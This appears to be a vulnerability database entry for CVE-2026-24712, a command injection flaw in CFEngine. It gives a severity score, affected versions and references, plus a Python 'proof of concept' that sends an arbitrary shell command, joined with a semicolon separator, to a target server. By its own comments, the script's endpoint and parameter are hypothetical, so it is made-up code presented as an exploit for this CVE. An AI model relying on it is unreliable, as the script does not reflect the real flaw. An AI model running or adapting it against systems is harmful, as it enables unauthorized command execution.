CVE-2026-24712

Description

Northern.tech CFEngine Enterprise and Community before 3.21.8, 3.24.3, and 3.27.0 allows Command injection.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CFEngine Enterprise < 3.21.8

CFEngine Enterprise < 3.24.3

CFEngine Enterprise < 3.27.0

CFEngine Community < 3.21.8

CFEngine Community < 3.24.3

CFEngine Community < 3.27.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Proof of Concept for CVE-2026-24712 (Command Injection)
# This script attempts to execute a command on a vulnerable CFEngine instance.

import requests
import sys

def exploit(target_url, command):
    # Vulnerable endpoint (hypothetical based on CFEngine structure)
    url = f"{target_url}/api/vulnerable_endpoint"
    
    # Payload injection attempts to execute 'id' or the specified command
    # Using a common command injection separator
    payload = f"; {command}"
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "CVE-2026-24712-Scanner"
    }
    
    data = {
        "param": payload  # The vulnerable parameter name is hypothetical
    }
    
    try:
        print(f"[*] Sending payload to {target_url}...")
        response = requests.post(url, json=data, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Response:")
            print(response.text)
        else:
            print(f"[-] Server returned status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: python {sys.argv[0]} <target_url> <command>")
        print(f"Example: python {sys.argv[0]} http://192.168.1.10 'whoami'")
        sys.exit(1)
    
    target = sys.argv[1]
    cmd = sys.argv[2]
    exploit(target, cmd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24712
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24712
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24712/
[4] VulDB https://vuldb.com/cve/CVE-2026-24712
[5] https://cfengine.com/blog/2026/cve-2026-24710-and-cve-2026-24711-and-cve-2026-24712/
[6] https://northern.tech

Raw JSON Data

JSON

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